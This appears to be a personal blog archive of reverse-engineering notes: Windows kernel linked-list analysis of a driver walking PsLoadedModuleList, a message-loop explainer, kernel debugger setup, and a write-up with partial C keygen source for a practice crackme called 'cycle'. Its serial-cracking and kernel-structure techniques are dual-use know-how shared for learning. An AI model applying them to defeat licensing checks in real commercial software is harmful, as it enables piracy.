fffff803`85c8ab4d 48893f          mov     qword ptr [rdi],rdi

这是链表删除节点之前的样子

这是删除之后的样子

可以看到RemoveEntryList除了将要删除节点的前后节点的Flink和Blink进行更改之外，还将要删除节点的Flink和Blink都指向了自己从而使得要删除的节点和原始链表彻底失去联系

上面这些操作都是单纯的针对链表本身进行的操作，而我们最感兴趣的是存储数据的节点，ListEntry是嵌入在存储数据的结构体中的，我们需要通过ListEntry来去访问真正感兴趣的数据

通过下面这个宏可以达到目的

#define CONTAINING_RECORD(address, type, field) ((type *)((PCHAR)(address) - (ULONG_PTR)(&((type*)0)->field)))

使用ListEntry的地址减去ListEntry成员在当前结构体中的偏移量，即可获取到当前结构体的地址

https://social.msdn.microsoft.com/Forums/officeocs/en-US/c5068503-2daf-4e60-803f-70a1ffd3ba72/what-is-macro-containingrecord-doing?forum=wdk

上面宏定义中的一些细节：

ULONG_PTR用于将指针转换成长整型，PCHAR用于将地址单位转换成字节，而不是该地址的类型的size

可以通过下面这段代码来理解

#include <stdio.h>
#include <windows.h>

typedef struct TEST {
    int a;
    int b;
} test, *ptest;

int main(void)
{
    test test_test;
    test_test.b = 520;
    int* addr_b = &test_test.b;
    printf("base address of test_test: \t%p\n", &test_test);
    printf("address of addr_b: \t\t%p\n", addr_b);
    ULONG ret1 = ULONG_PTR(&((ptest)0)->b);
    printf("field \"b\" offset in TEST: \t%u\n", ret1);
    printf("address with no PCHAR cast: \t%p\n", addr_b - ret1);
    printf("address with PCHAR cast: \t%p\n", (PCHAR)addr_b -ret1);
    return 0;
}

可以看到在不转换为PCHAR的情况下，实际上减去的是4*sizeof(int)，而转换之后就是减去4

拿KDPC结构体举例

PKDEFERRED_ROUTINE ReadEntryDeferredRoutine (PLIST_ENTRY entry) {
    PKDPC p;
    p = CONTAINING_RECORD(entry, KDPC, DpcListEntry);
    return p->DeferredRoutine;
}

CONTAINING_RECORD这个宏一般会在节点删除和节点遍历中用到

walk-thorugh

书中提到了一个驱动Sample C，可能是在随书光盘里的文件，但是我没找到这个，只能凑合看了

下面是这个驱动中的一个函数sub_115DA的代码片段

01: .text:000115FF mov eax, dword_1436C
02: .text:00011604 mov edi, ds:wcsncpy
03: .text:0001160A mov ebx, [eax]
04: .text:0001160C mov esi, ebx
05: .text:0001160E loop_begin: 
06: .text:0001160E cmp dword ptr [esi+20h], 0
07: .text:00011612 jz short failed
08: .text:00011614 push dword ptr [esi+28h] 
09: .text:00011617 call ds:MmIsAddressValid
10: .text:0001161D test al, al
11: .text:0001161F jz short failed
12: .text:00011621 mov eax, [esi+28h]
13: .text:00011624 test eax, eax
14: .text:00011626 jz short failed
15: .text:00011628 movzx ecx, word ptr [esi+24h]
16: .text:0001162C shr ecx, 1
17: .text:0001162E push ecx ; size_t
18: .text:0001162F push eax ; wchar_t *
19: .text:00011630 lea eax, [ebp+var_208]
20: .text:00011636 push eax ; wchar_t *
21: .text:00011637 call edi ; wcsncpy
22: .text:00011639 lea eax, [ebp+var_208]
23: .text:0001163F push eax ; wchar_t *
24: .text:00011640 call ds:_wcslwr
25: .text:00011646 lea eax, [ebp+var_208]
26: .text:0001164C push offset aKrnl ; "krnl"
27: .text:00011651 push eax ; wchar_t *
28: .text:00011652 call ds:wcsstr
29: .text:00011658 add esp, 18h
30: .text:0001165B test eax, eax
31: .text:0001165D jnz short matched_krnl
32: .text:0001165F mov esi, [esi]
33: .text:00011661 cmp esi, ebx
34: .text:00011663 jz short loop_end
35: .text:00011665 jmp short loop_begin
36: .text:00011667 matched_krnl: 
37: .text:00011667 lea eax, [ebp+var_208]
38: .text:0001166D push '\' ; wchar_t
39: .text:0001166F push eax ; wchar_t *
40: .text:00011670 call ds:wcsrchr
41: .text:00011676 pop ecx
42: .text:00011677 test eax, eax

代码中的前四行访问了一个指针dword_1436C，并将其指向的内容保存到了ebx和esi中

然后在循环体中，有三处引用了esi

[esi+20h]
[esi+28h]
[esi+24h]

据此可以推测出esi是一个长度至少为2ch的结构体

在循环体的最后，从结构体的第一个成员中读出一个指针，然后和指向该结构体的指针进行比较，相等则结束循环，否则继续循环

据此可以推断出，该循环可能是在遍历一个循环双链表，且该结构体的第一个成员是next，因为它在判断next是否指向头部，并且把esi设置为了next所指向的节点地址

但是目前还不能断定一定就存在LIST_ENTRY，可能存在，也可能不存在

然后找一下dword_1436C这个变量是从哪里来的

函数sub_11553使用STDCALL调用约定接受两个参数，一个是指向DRIVER_OBJECT的指针，另一个是指向全局变量dword_1436C的指针

感兴趣的代码片段：

01: .text:00011578 mov eax, 0FFDFF034h
02: .text:0001157D mov eax, [eax]
03: .text:0001157F mov eax, [eax+70h]
04: ...
05: .text:0001159E mov ecx, [ebp+arg_4] ; pointer to the global var
06: .text:000115A1 mov [ecx], eax

这段代码中有一个硬编码的地址0FFDFF034h，然后取出该结构体偏移量为70h的成员的值写入到全局变量中

这个硬编码地址在XP中可以被分为两部分，0FFdFF000h和偏移量34h，其中前者为processor control block结构体（KPCR）的地址，后者是成员KdVersionBlock成员的偏移量，KdVersionBlock偏移量为70h的成员是个什么东西呢？

这个成员是PsLoadedModuleList，一个指向全局链表头部的指针

该链表中的每一个节点都是KLDR_DATA_TABLE_ENTRY类型，它存储了当前载入的内核模块信息

该结构体的第一个成员是一个LIST_ENTRY，这和上面的汇编代码是吻合的，esi就是LIST_ENTRY，[esi]就是Flink

如果你对上面的结论有疑问，请看下面的代码：

#include <stdio.h>
#include <windows.h>

typedef struct LE {
    struct LE* flink;
    struct LE* blink;
} le, * ple;
typedef struct TEST {
    le mle;
    int b;
} test, * ptest;

int main(void)
{
    test test_test;
    le mle;
    mle.flink = mle.blink = &mle;
    test_test.mle = mle;
    test_test.b = 520;
    printf("%p\n", &test_test);
    printf("%p\n", &test_test.mle);
    printf("%p\n", &test_test.mle.flink);
    return 0;
}

可以看到这三个地址是完全一样的，如果说esi是test_test的地址的话，那么[esi]就是对test_test.mle.flink取值（*test_test.mle.flink）

经过以上分析，可以对这两个函数sub_115DA和sub_11553做出如下总结

sub_11553，从processor control block中读取KdVersionBlock指针，然后再从该指针中获取到PsLoadedModuleList指针，该指针指向链表的Head，该链表的节点类型位KLDR_DATA_TABLE_ENTRY；将这个函数的名称改为GetLoadedModuleList
sub_115DA，遍历LoadedModuleList链表，直到找到一个entry的名字是krnl；将这个函数名改为GetKernelName

翻译成C语言代码：

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY ListEntry;
    ...
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ...
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

BOOL GetLoadedModuleList(PDRIVER_OBJECT drvobj, PLIST_ENTRY g_modlist) {
    ...
    g_modlist = (PCR->KdVersionBlock) + 0x70;
    ...
}

BOOL GetKernelName() {
    WCHAR fname[...];
    PKLDR_DATA_TABLE_ENTRY entry;
    PLIST_ENTRY p = g_modlist->Flink;
    while(p = _modlist) {
        entry = CONTAINING_RECORD(p, KLDR_DATA_TABLE_ENTRY, ListEntry);
        ...
        wcsncpy(fname, entry->FullDllName.Buffer, entry->FullDllName.Length*2);
        ...
        if(wcsstr(fname, L"krnl") != NULL { ... }
        p = p->Flink;
    }
    ...
}

由于上面的驱动程序中存在硬编码的地址和偏移量，在某些版本的windows操作系统中可能无法正常运行

12: .text:00011621 mov eax, [esi+28h]
13: .text:00011624 test eax, eax
14: .text:00011626 jz short failed
15: .text:00011628 movzx ecx, word ptr [esi+24h]
16: .text:0001162C shr ecx, 1
17: .text:0001162E push ecx ; size_t
18: .text:0001162F push eax ; wchar_t *
19: .text:00011630 lea eax, [ebp+var_208]
20: .text:00011636 push eax ; wchar_t *
21: .text:00011637 call edi ; wcsncpy

上面的代码调用了wcsncpy对UNICODE_STRING进行复制，偏移量24h为UNICODE_STRING的长度，28h为UNICODE_STRING字符串的地址

UNICODE_STRING结构体定义如下

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

上面的代码中，作为长度的ecx右移了一位，相当于x2，是为了保证源buffer中的内容一定会被全部拷贝到目的buffer

也就是说如果在偏移量为24h的地方如果不存在UNICODE_STRING结构体，那么这个驱动代码也无法正常执行，因为esi所代表的的结构体，也就是KLDR_DATA_TABLE_ENTRY是一个没有公开文档的结构体，微软可能在新的版本中对该结构体的成员进行增删，那么UNICODE_STRING的偏移量也会产生变化

还有就是这个驱动程序在遍历链表的时候有模块被卸载掉了，那么可能会引起空指针异常（访问违例），因为他在遍历链表的时候没加锁

之所以能够分析明白上面两个函数，是因为之前已经拥有了内核相关知识以及内核模式下的驱动分析经验，所以可以一眼看出那些像谜一样的16进制数字到底代表着什么含义

结合esi所代表的结构体的一系列特征，推测出该结构体可能为KLDR_DATA_TABLE_ENTRY，该结构体与具有公开定义的LDR_DATA_TABLE_ENTRY非常相似

https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm

进行逆向分析需要大量的操作系统知识和经验

作者说了，在一开始的时候你可能并不具备那么多知识以及敏锐的直觉，所以一开始你看不懂也是很正常的事情

入典：

foundational knowledge + intuition + experience + patience = skills

习题

作者给了一堆win8 x64的函数，说这些函数内联了InitalizeListHead函数代码

这个应该很简单，毕竟上面已经分析过InitializeListHead的汇编代码了，我去搞一下

InitializeListHead在64位中有一个很明显的模式：

lea REG, [MEM_LOCATION]
mov [REG+8], REG
mov [REG], REG

网上有一个别人做完的，待会回来跟他对一下

在做题时遇到的问题

windbg查看函数汇编代码失败

nt!CcAllocateInitializeMbcb

nt!CmpInitCallbacks

这里rax就是nt!CallbackListHead

nt!ExCreateCallback

nt!ExpInitSystemPhase0

和别人做的答案对比之后发现漏掉了一个，跟我自己找到的第三个几乎是挨着的，眼花了，没看到。。

nt!ExpInitSystemPhase1

nt!ExpTimerInitialization

nt!InitBootProcessor

nt!IoCreateDevice

nt!IoInitializeIrp

nt!KeInitThread

nt!KeInitializeMutex

nt!KeInitializeProcess

nt!KeInitializeTimerEx

nt!KeInitializeTimerTable

nt!KiInitializeProcessor

nt!KiInitializeThread

这个稍微有点不是太好找

跟到跳转的地址

nt!MiInitializeLoadedModuleList

nt!MiInitializePrefetchHead

nt!PspAllocateProcess

nt!PspAllocateThread

Windows Message Loop

2022-06-11T00:00:00+02:00

references:

http://www.winprog.org/tutorial/message_loop.html

excellent post

Message

windows message is just integers

#define WM_INITDIALOG                   0x0110
#define WM_COMMAND                      0x0111

#define WM_LBUTTONDOWN                  0x0201
....

messages are often used to communicate between windows

event like keyboard typing, mouse moving, etc will trigger the system send a message to correspond window

if you're the target window, you'll need to handle the message

every message may have 2 param bound with it, wParam and lParam, wParam->16bit, lParam->32bit, they both are 32bit in win32

these 2 param not always be used, depends on message kind

PostMessage and SendMessage can be used to send message

PostMessage will puts message into Message Queue and returns immediately, which means in the time PostMessage returns, the message send by it may or may not been processed

while SendMessage sends message directly to the target window, and will not return until the message been processed

for example, if we want to close a window, we can do this:

SendMessage(hwnd, WM_CLOSE, 0, 0);

Dialog

to control dialog box, you can do this:

hwnd = GetDlgItem(...);
SnedMessage(hwnd, message, ...);

or just this:

SendDlgItemMessage(...);

Message Queue

let's say you are busy on handling WM_PAINT message, at the same time, user types keyboard, what should happen now?

interrupt your drawing or drop the keys that user just input?

either are good solution, so message queue born, when message posted, they are added to message queue and they will not be removed until be handled

this will make sure every message is handled

Message Loop

while(GetMessage(&Msg, NULL, 0, 0) > 0) {
    TranslateMessage(&Msg);
    DispatchMessage(&Msg);
}

GetMessage will retrieve message from message queue, if the queue is empty, it will simply block until there is a message
event triggers message being added to message queue, GetMessage will return a positive value to indicate that there is a message to be processed, the Msg pointer point to a message structure MSG, this structure will be filled by GetMessage, if the message retrieved is WM_QUIT, then 0 is returned, return negative value to indicate there is an error occurred
message retrieved by GetMessage will be past to TranslateMessage as a param, this function will translate virtual key message to character message
then we pass the translated message to DispatchMessage, it will check which window the message is for and looks up windowproc for this window, then it will calls the founded windowproc and sending window handle, message and w/lParam as param to this proc
windowproc is your code, you need to check the message and related params, then do whatever you want! If you're not handling the message, you can just call DefWindowProc to perform default actions (which often means doing nothing)
after you finish message processing, your windowproc returns to DispatchMessage, then you back to the message loop

this is very important concept for windows programming, your windowsproc is not magically called by system, in fact, you're calling your own code indirectly from DispatchMessage function

if you want, you can use GetWindowLong with the window handle that the message is for to lookup your windowproc code and call it directly, without calling DispatchMessage

while(GetMessage(&Msg, NULL, 0, 0) > 0) {
    WNDPROC fWndProc = (WNDPROC)GetWindowLong(Msg.hwnd, GWL_WNDPROC);
    fWndProc(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
}

PostQuitMessage will terminate the message loop, this function put a WM_QUIT to the message queue

here is a demo project you can play with

Windows Kernel Debug

2022-05-28T00:00:00+02:00

参考链接：

https://samsclass.info/126/proj/PMA410d.htm

单机调试

这个单机调试对于内核调试比较鸡肋，很多调试命令都执行不了，推荐使用双机调试

正常情况下，如果逆向debug windows kernel，你需要两台可以互相连通的windows机器，一台作为debuger（调试机），一台作为debugee（被调试机）

不过有一个叫做LiveKD的工具，使用这个工具，你只需要一台机器即可对kernel进行debug

首先你需要安装sdk，本文的测试环境为windows 10，因此需要下载win10 sdk进行安装

sdk安装完成之后，使用everything定位到windbg.exe的路径并将其添加到环境变量中

我的测试环境是x64的，所以我选择C:\Program Files (x86)\Windows Kits\10\Debuggers\x64

想要进行kernel debug，你需要先执行两条命令

bcdedit /debug on
bcdedit /dbgsettings local

获取LiveKD工具：https://docs.microsoft.com/zh-cn/sysinternals/downloads/livekd

解压之后，以管理员身份打开cmd进入到该目录，执行livekd64 -w

至此，你就设置好windows kernel debug的环境了

双机调试

thisifuckingshanchubiaozhi1kdekaishi1有些漏洞会导致机器BSOD（blue screen of death），整个计算机就直接崩溃重启了，不适合使用单机调试jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu

什么弱智言论，明明是因为内核调试的话整个机器就HALT了，不用两个机器调也没法玩儿呀

双机调试的设置也比较简单，我比较喜欢通过网络进行调试，也有通过使用串口调试的方法，这里不做介绍

这里使用物理机和虚拟机进行双机调试，我虚拟机网卡是桥接模式，所以直接和物理机位于同一个网段

bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.100.28 port:50000 key:my.secure.key.here
bcdedit /set "{dbgsettings}" busparams 3.0.0

在debugee（被调试机）以管理员模式执行上面的命令即可，其中192.168.100.28是debuger（调试机）的IP

3.0.0这个参数可以在debugee中通过如下方式获取：

然后debuger启动windbg，File->Kernel Debug...，将端口号和key输进去就行了

windows7及以下版本

网络调试是从Windows8 (Server 2012)才开始有的，所以对于server 2008或者windows 7以及更早的版本需要使用串口调试，详细细节请查看这个视频：

windows 7

windows XP

windows XP的内核调试器和符号表

CrackMe之cycle注册机

2022-05-12T00:00:00+02:00

references:

https://bbs.pediy.com/thread-21532.htm

要破解的二进制文件和注册机

下断点的方法和crackhead一样，通过搜索所有引入的函数，从中找出可以用来下断点的函数

此处为GetDlgItemTextA函数

我们在该函数出现的所有位置下断点，然后在cycle程序的输入框中随便输点东西，触发断点即可

断点触发之后，我们就不需要这些断点了，在函数调用的下一行下断点即可

下面我们开始捋代码

004010A6  |. 6A 11          PUSH 11                                  ; /Count = 11 (17.)
004010A8  |. 68 71214000    PUSH cycle.00402171                      ; |Buffer = cycle.00402171
004010AD  |. 68 E9030000    PUSH 3E9                                 ; |ControlID = 3E9 (1001.)
004010B2  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
004010B5  |. E8 0F020000    CALL <JMP.&USER32.GetDlgItemTextA>       ; \GetDlgItemTextA
004010BA  |. 0BC0           OR EAX,EAX
004010BC  |. 74 61          JE SHORT cycle.0040111F
004010BE  |. 6A 11          PUSH 11                                  ; /Count = 11 (17.)
004010C0  |. 68 60214000    PUSH cycle.00402160                      ; |Buffer = cycle.00402160
004010C5  |. 68 E8030000    PUSH 3E8                                 ; |ControlID = 3E8 (1000.)
004010CA  |. FF75 08        PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
004010CD  |. E8 F7010000    CALL <JMP.&USER32.GetDlgItemTextA>       ; \GetDlgItemTextA
004010D2  |. 0BC0           OR EAX,EAX
004010D4  |. 74 49          JE SHORT cycle.0040111F

GetDlgItemTextA函数被调用了两次，返回值存储在EAX中，为获取到的字符串的长度，第三个参数为传出参数，用于存储获取到的字符串，两次调用中分别传入了指针0x00402171和00402160

根据调试结果，第一次调用获取到的是Serial，第二次调用获取到的是Name

只要我们输入不为空（即EAX值不为0），那么上面代码中的JE SHORT cycle.0040111F就不会执行

接着往下看

004010D6  |. B9 10000000    MOV ECX,10
004010DB  |. 2BC8           SUB ECX,EAX
004010DD  |. BE 60214000    MOV ESI,cycle.00402160                   ;  ASCII "1231231231231231"
004010E2  |. 8BFE           MOV EDI,ESI
004010E4  |. 03F8           ADD EDI,EAX
004010E6  |. FC             CLD
004010E7  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>

这段代码对用户名进行了拷贝，CLD复位DDF标志寄存器，因此在执行REP MOVS时ESI和EDI每次拷贝完成后都会增加，由于此处为REP MOVS BYTE，因此每次拷贝一个字节，ESI和EDI的增加梯度也为1字节

拷贝的次数由ECX-EAX的结果决定，即（16-用户名长度），其实就是将用户名的长度扩展到了16位

004010E9  |. 33C9           XOR ECX,ECX
004010EB  |. BE 71214000    MOV ESI,cycle.00402171                   ;  ASCII "1234567890000000"
004010F0  |> 41             /INC ECX
004010F1  |. AC             |LODS BYTE PTR DS:[ESI]
004010F2  |. 0AC0           |OR AL,AL
004010F4  |. 74 0A          |JE SHORT cycle.00401100
004010F6  |. 3C 7E          |CMP AL,7E
004010F8  |. 7F 06          |JG SHORT cycle.00401100
004010FA  |. 3C 30          |CMP AL,30
004010FC  |. 72 02          |JB SHORT cycle.00401100
004010FE  |.^EB F0          \JMP SHORT cycle.004010F0
00401100  |> 83F9 11        CMP ECX,11
00401103  |. 75 1A          JNZ SHORT cycle.0040111F

清空ECX，然后将ESI指向Serial

下面开始循环，其中有一条指令大家可能没见过

LODS指令，Load String Operand

比如此处的LODS BYTE PTR DS:[ESI]，会将ESI所指向的内容加载到EAX寄存器中，至于是加载到EAX、AX、AL由指令控制，此处由于我们是LODS BYTE，因此内存中的内容会被加载到AL中

因此上面代码中的循环就干了一件事，就是检测Serial中的字符是否位于0x30和0x7E之间，也就是ASCII码表中的48~126之间

最后判断了一下字符串长度是否为16，因为ECX会多加一次，也就是说比实际长度多1，根据CMP ECX, 11，我们可以确定Serial的长度必须为16位，因为如果无法满足这个条件，程序就会直接跳到RET指令，那就没得玩儿了，你可以自己试一下，如果Serial的长度不是16位，当你点击Check按钮的时候，程序是没有任何反应的

接着看

00401105  |. E8 E7000000    CALL cycle.004011F1
0040110A  |. B9 01FF0000    MOV ECX,0FF01
0040110F  |. 51             PUSH ECX
00401110  |. E8 7B000000    CALL cycle.00401190
00401115  |. 83F9 01        CMP ECX,1
00401118  |. 74 06          JE SHORT cycle.00401120
0040111A  |> E8 47000000    CALL cycle.00401166
0040111F  |> C3             RETN
00401120  |> A1 68214000    MOV EAX,DWORD PTR DS:[402168]

我们需要确保JE SHORT cycle.00401120执行，因为如果在这里没有跳转的话，那么不可避免的就一定会执行RETN，程序结束，又没得玩了

RETN上面那个CALL只是输出一下错误提示而已

因此我们要保证在前两个CALL执行完毕之后，ECX的值为1

这里我贴一下这两个函数的汇编代码：

cycle.004011f1

004011F1  /$ A1 60214000    MOV EAX,DWORD PTR DS:[402160]
004011F6  |. 8B1D 64214000  MOV EBX,DWORD PTR DS:[402164]
004011FC  |. 3305 71214000  XOR EAX,DWORD PTR DS:[402171]
00401202  |. 331D 75214000  XOR EBX,DWORD PTR DS:[402175]
00401208  |. 25 0F1F3F7F    AND EAX,7F3F1F0F
0040120D  |. 81E3 00010307  AND EBX,7030100
00401213  |. 33C9           XOR ECX,ECX
00401215  |> 8BF0           /MOV ESI,EAX
00401217  |. 8BFB           |MOV EDI,EBX
00401219  |. D3E6           |SHL ESI,CL
0040121B  |. D3E7           |SHL EDI,CL
0040121D  |. 81E6 80808080  |AND ESI,80808080
00401223  |. 81E7 80808080  |AND EDI,80808080
00401229  |. 8BD6           |MOV EDX,ESI
0040122B  |. C0EE 07        |SHR DH,7
0040122E  |. 66:C1E2 07     |SHL DX,7
00401232  |. C1EA 08        |SHR EDX,8
00401235  |. C0EE 07        |SHR DH,7
00401238  |. 66:C1E2 07     |SHL DX,7
0040123C  |. C1EA 08        |SHR EDX,8
0040123F  |. C0EE 07        |SHR DH,7
00401242  |. 66:D1EA        |SHR DX,1
00401245  |. 8BF2           |MOV ESI,EDX
00401247  |. 8BD7           |MOV EDX,EDI
00401249  |. C0EE 07        |SHR DH,7
0040124C  |. 66:C1E2 07     |SHL DX,7
00401250  |. C1EA 08        |SHR EDX,8
00401253  |. C0EE 07        |SHR DH,7
00401256  |. 66:C1E2 07     |SHL DX,7
0040125A  |. C1EA 08        |SHR EDX,8
0040125D  |. C0EE 07        |SHR DH,7
00401260  |. 66:C1EA 05     |SHR DX,5
00401264  |. 8BFA           |MOV EDI,EDX
00401266  |. 33FE           |XOR EDI,ESI
00401268  |. 8BD7           |MOV EDX,EDI
0040126A  |. 81E2 FF000000  |AND EDX,0FF
00401270  |. 51             |PUSH ECX
00401271  |. 52             |PUSH EDX
00401272  |. BA 08000000    |MOV EDX,8
00401277  |. 91             |XCHG EAX,ECX
00401278  |. 83F8 03        |CMP EAX,3
0040127B  |. 7F 0F          |JG SHORT cycle.0040128C
0040127D  |. F6E2           |MUL DL
0040127F  |. 5A             |POP EDX
00401280  |. 83C0 08        |ADD EAX,8
00401283  |. 91             |XCHG EAX,ECX
00401284  |. D3C0           |ROL EAX,CL
00401286  |. 33C2           |XOR EAX,EDX
00401288  |. D3C8           |ROR EAX,CL
0040128A  |. EB 0D          |JMP SHORT cycle.00401299
0040128C  |> 83E8 03        |SUB EAX,3
0040128F  |. F6E2           |MUL DL
00401291  |. 5A             |POP EDX
00401292  |. 91             |XCHG EAX,ECX
00401293  |. D3C3           |ROL EBX,CL
00401295  |. 33DA           |XOR EBX,EDX
00401297  |. D3CB           |ROR EBX,CL
00401299  |> 59             |POP ECX
0040129A  |. 41             |INC ECX
0040129B  |. 83F9 08        |CMP ECX,8
0040129E  |.^0F85 71FFFFFF  \JNZ cycle.00401215
004012A4  \. C3             RETN

cycle.00401190

00401190  /$ 5F             POP EDI
00401191  |. 59             POP ECX
00401192  |. 57             PUSH EDI
00401193  |. 81F9 80000000  CMP ECX,80
00401199  |. 7E 55          JLE SHORT cycle.004011F0
0040119B  |. 51             PUSH ECX
0040119C  |. 8BF1           MOV ESI,ECX
0040119E  |. 81E1 FF000000  AND ECX,0FF
004011A4  |. 8BF8           MOV EDI,EAX
004011A6  |. 83F9 08        CMP ECX,8
004011A9  |. 7E 05          JLE SHORT cycle.004011B0
004011AB  |. 8BFB           MOV EDI,EBX
004011AD  |. C1E9 04        SHR ECX,4
004011B0  |> C1C7 08        /ROL EDI,8
004011B3  |. D1E9           |SHR ECX,1
004011B5  |.^75 F9          \JNZ SHORT cycle.004011B0
004011B7  |. C1EE 08        SHR ESI,8
004011BA  |. 23FE           AND EDI,ESI
004011BC  |. 81E7 FF000000  AND EDI,0FF
004011C2  |. 59             POP ECX
004011C3  |> BE 80000000    MOV ESI,80
004011C8  |> 85FE           /TEST ESI,EDI
004011CA  |. 74 20          |JE SHORT cycle.004011EC
004011CC  |. 33FE           |XOR EDI,ESI
004011CE  |. 57             |PUSH EDI
004011CF  |. 81E1 00FF0000  |AND ECX,0FF00
004011D5  |. 87CE           |XCHG ESI,ECX
004011D7  |. 32E9           |XOR CH,CL
004011D9  |. 33F1           |XOR ESI,ECX
004011DB  |. 87F1           |XCHG ECX,ESI
004011DD  |. 51             |PUSH ECX
004011DE  |. FF05 82214000  |INC DWORD PTR DS:[402182]
004011E4  |. E8 A7FFFFFF    |CALL cycle.00401190
004011E9  |. 5F             |POP EDI
004011EA  |.^EB D7          |JMP SHORT cycle.004011C3
004011EC  |> D1EE           |SHR ESI,1
004011EE  |.^75 D8          \JNZ SHORT cycle.004011C8
004011F0  \> C3             RETN

指令都认识，但是这两个函数具体做了什么，我是不知道的，肯定是某种算法，但是变成机器码之后，几乎面目全非，根本无法辨识

我也是盯着这两段代码看了好久，什么思路都没有，最后就干脆用C语言把这个代码逻辑给实现了

https://144.one/s/u14s4

在这段代码中，我固定了用户名的前8位以及序列号的前4位，然后爆破序列号的4~7位

根据代码逻辑，EBX的初始化过程如下：

ebx = name[4-7] ^ serial[4-7] & 0x07030100

由于很多bit位都在与操作中被丢弃了，所以serial[4-7]并没有太多可能的值

但是我的这个代码并没有得到合法的Name和Serial，不过我发现了一些规律

在第一个函数cycle.004011f1运行完毕之后，EAX的值从未变过，EBX的值呈现周期性循环，循环周期为4

经过第二个函数cycle.00401190的运算之后，ecx的值总是同一个

后来我就突发奇想，如果我们控制EAX的值，使对应掩码0x7F3F1F0F所有的保留位全部为1，会发生什么？于是得出如下关系式

name[0-3] ^ serial[0-3] = 0x7F3F1F0F
serial[0-3] = name[0-3] ^ 0x7F3F1F0F

上面表达式中的0x7F3F1F0F可以有多个值，只要每个字节的高4bit的值x分别满足0<= x <1、0<= x <2、0<= x <4、0<= x <8即可，具体逻辑可以看代码

但是这样会限制serial[3]的值不能超过0x50，后来放松了第一个字节的限制，使其满足0<= x <2，发现这样也能生成有效的序列号，

然后我就随便找了一组，**JE、UUUJ

结果发现，居然找出了满足ecx=1的serial[4-7]

虽然我不知道这究竟是为什么，但事实就是只要我们满足上面那个表达式，那么经过最多64次尝试，就能找到一组合法的用户名和序列号

在通过ecx==1的检测之后，还有一个检测，但是就比较简单了，具体分析请查看下面的注册机源代码

注册机运行效果：

下面是注册机代码，仍然使用codeblocks编译，你可以取消____DEBUG宏的注释以观察程序运行过程中各变量的变化：

// Author:  12138
// URL:     http://144.34.164.217
//          https://144.one
// Date:    2022/05/12 04:00 AM
// Desc:    CrackMe.cycle serial generator

#include   <windows.h>
#include   <stdio.h>
#include   <string.h>
#include   <time.h>

// #define ____DEBUG

#ifdef ____DEBUG
#define FUCK(_format, _var) printf(_format, _var);
#define CUM(_str) printf(_str);
#else
#define FUCK(_format, _var);
#define CUM(_str);
#endif

typedef unsigned int _ui;

// 这个计数器应该是一个全局变量
_ui _TODO_counter = 0xFEDCBA98;

char generate_random(char lower, char upper) {
   return (rand() % (upper - lower + 1)) + lower;
}

_ui string_to_hex(char* _string, int _begin) {
    char _24_31[3]={0};
    char _16_23[3]={0};
    char _8_15[3]={0};
    char _0_7[3]={0};

    sprintf(_24_31, "%02X", _string[_begin]);
    sprintf(_16_23, "%02X", _string[_begin+1]);
    sprintf(_8_15, "%02X", _string[_begin+2]);
    sprintf(_0_7, "%02X", _string[_begin+3]);

    char hex_string[8+1] = {0};
    strcpy(hex_string, _0_7);
    strcat(hex_string, _8_15);
    strcat(hex_string, _16_23);
    strcat(hex_string, _24_31);
    _ui _ret_val = (_ui)strtoul(hex_string, NULL, 16);
    return _ret_val;
}

int hex_to_string(_ui _hex_value, char* _ret_string) {
    _ui _s_15 = _hex_value & 0xFF000000;
    _s_15 = _s_15 >> 24;
    _ui _s_14 = _hex_value & 0x00FF0000;
    _s_14 = _s_14 >> 16;
    _ui _s_13 = _hex_value & 0x0000FF00;
    _s_13 = _s_13 >> 8;
    _ui _s_12 = _hex_value & 0x000000FF;
    if (_s_12 < 0x30 || _s_12 > 0x7E || _s_13 < 0x30 || _s_13 > 0x7E || _s_14 < 0x30 || _s_14> 0x7E || _s_15 < 0x30 || _s_15 > 0x7E) {
        return 1;
    }
    char hex_string[4+1] = {0};
    char _tmp_val[2] = {0};
    sprintf(_tmp_val, "%c", _s_12);
    strcpy(hex_string, _tmp_val);
    sprintf(_tmp_val, "%c", _s_13);
    strcat(hex_string, _tmp_val);
    sprintf(_tmp_val, "%c", _s_14);
    strcat(hex_string, _tmp_val);
    sprintf(_tmp_val, "%c", _s_15);
    strcat(hex_string, _tmp_val);
    strcpy(_ret_string, hex_string);
    return 0;
}

_ui _401190(_ui eax, _ui ebx, _ui ecx) {
    if(ecx > 0x80) {
        _ui _tmp_val = ecx;
        _ui esi = ecx;
        ecx = ecx & 0xFF;
        _ui edi = eax;
        if(ecx > 0x08) {
            edi = ebx;
            ecx = ecx >> 4;
        }
        while (ecx != 0) {
            edi = _rotl(edi, 8);
            ecx = ecx >> 1;
        }
        esi = esi >> 8;
        edi = edi & esi;
        edi = edi & 0xFF;
        ecx = _tmp_val;
        esi = 0x80;
        while (1) {
            if((esi & edi) == 0) {
                esi = esi >> 1;
                // 只有esi和edi与运算的结果等于0且esi右移1位等于0的时候，这个循环才会被打破
                if(esi == 0)
                    break;
                else
                    continue;
            }
            edi = edi ^ esi;
            _tmp_val = edi;
            ecx = ecx & 0xFF00;
            _ui _exch_val = ecx;
            ecx = esi;
            esi = _exch_val;
            // 对CH和CL进行异或运算，并将结果反映到ECX上
            _ui ch = ecx & 0xFF00;
            ch =  ch >> 8;
            _ui cl = ecx & 0xFF;
            ch = ch ^ cl;
            ch = ch << 8;
            ch = ch & 0xFF00;
            ecx = ecx & 0xFFFF00FF;
            ecx = ecx | ch;
            esi = esi ^ ecx;
            _exch_val = ecx;
            ecx = esi;
            esi = _exch_val;
            _TODO_counter += 1;
            FUCK("[*] _TODO counter: 0x%x\n", _TODO_counter);
            ecx = _401190(eax, ebx, ecx);
            edi = _tmp_val;
            esi = 0x80;
            continue;
        }
        return ecx;
    }
    else
        return ecx;
}

